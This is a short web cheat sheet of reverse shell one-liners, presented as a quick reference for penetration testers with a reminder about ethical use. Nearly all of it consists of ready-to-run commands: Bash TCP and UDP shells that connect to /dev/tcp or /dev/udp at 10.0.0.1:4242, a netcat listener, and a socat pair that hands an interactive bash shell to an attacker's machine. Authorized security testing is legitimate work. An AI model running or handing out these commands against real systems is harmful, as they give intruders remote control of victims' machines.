Reverse Shell cheat sheet

Reverse Shell cheat sheet. Explore our ultimate quick reference for Reverse Shell.

This Reverse Shell Cheat Sheet is an essential resource for cybersecurity professionals, penetration testers, and IT administrators. It consolidates a wide range of techniques to establish reverse shell connections, leveraging various programming languages and utilities such as Bash, Perl, Python, PHP, Ruby, Socat, and Netcat. Designed to function across different platforms, including Linux, Windows, and even web applications, this cheat sheet offers concise, ready-to-use command lines for initiating reverse connections from a target system back to an attacker’s system. Whether you're performing authorized security assessments or strengthening your system's defenses, this cheat sheet provides valuable insights into the dynamics of reverse shells and equips you with the necessary tools to test network security effectively. Remember to use these powerful techniques responsibly and within the boundaries of ethical hacking and legal compliance.

Reverse Shell

Bash TCP

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Bash UDP

Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Socat

user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
